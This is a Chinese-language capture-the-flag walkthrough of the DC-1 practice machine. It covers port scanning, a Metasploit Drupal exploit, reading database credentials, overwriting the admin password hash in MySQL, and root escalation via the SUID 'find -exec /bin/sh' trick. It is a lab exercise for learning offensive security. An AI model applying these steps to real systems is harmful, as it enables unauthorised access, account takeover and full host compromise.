DC-1靶场
实验环境:
kali:192.168.200.10
DC-1:192.168.200.167
当我们拿到一个靶场,部署在虚拟机中,我们第一件事肯定是去拿到这个ip后去扫描端口
查看开放了哪些端口
在kali中使用 nmap -sN 进行ip监测存活
而后定位到DC-1的ip后,使用nmap -A -v -T4 -p 1-65535 192.168.200.167来查看开放了那些端口
主机主要开放了22、80、111、4444和一个42636端口
看到80,我一般习惯性去查一下80端口
打开80端口
发现为Drupal cms管理系统,而后想查看是否有可用EXP
存有一个疑问:是否可以判断此cms版本
使用msf进行尝试
进入msf后,我们搜索一下这个cms相关漏洞,使用如下漏洞进行攻击
进行如下操作,得到一个交互界面
flag1
进行简单的查看得到flag1
flag1提示我们需要config文件
从网上进行查找。发现如下
在这个路径中进行翻找,查看,成功在sites/default路径下找到一个 settings.php文件
查看,发现如下
1 | 'database' => 'drupaldb', |
获得数据库账号密码,登陆下查看一下
使用shell进入命令行界面
但是此时我们mysql进入,会报错
我们使用 python -c “import pty;pty.spawn(‘/bin/bash’)” 产生一个交互命令行
使用python前提条件:被攻击机器需要装有python
这个pyhon产生交互命令行的原理就是利用python 的pty库产生一个伪终端模拟shell
使用伪终端后我们成功进入mysql
使用如下命令
1 | mysql> show databases; |
我们得到一个加密过后的密码
此时想去解密破解密码,但是无法破解,索性直接进行修改,从网上找到一个相同加密的,密码
明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
接下来我们把管理员的密码重置下
1 | mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin'; |
此时我们登录前端页面进行登录
用户名:admin
密码:password
flag3
前端登录后,点点查看一下,发现了flag3
根据flage3提示,我们需要使用find进行提权
find提权
find / -perm -u=s -type f 2>/dev/null
使用find查找具有root权限相同SUID的权限
查看
flag4
突然想尝试下搜索flag,结果发现了flag4
我们尝试用find执行命令
# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
find / -name flag4 -exec “whoami” ;
进行提权
find / -name flag4 -exec “/bin/sh” ;
而后在里边进行寻找,在root目录下,找到flag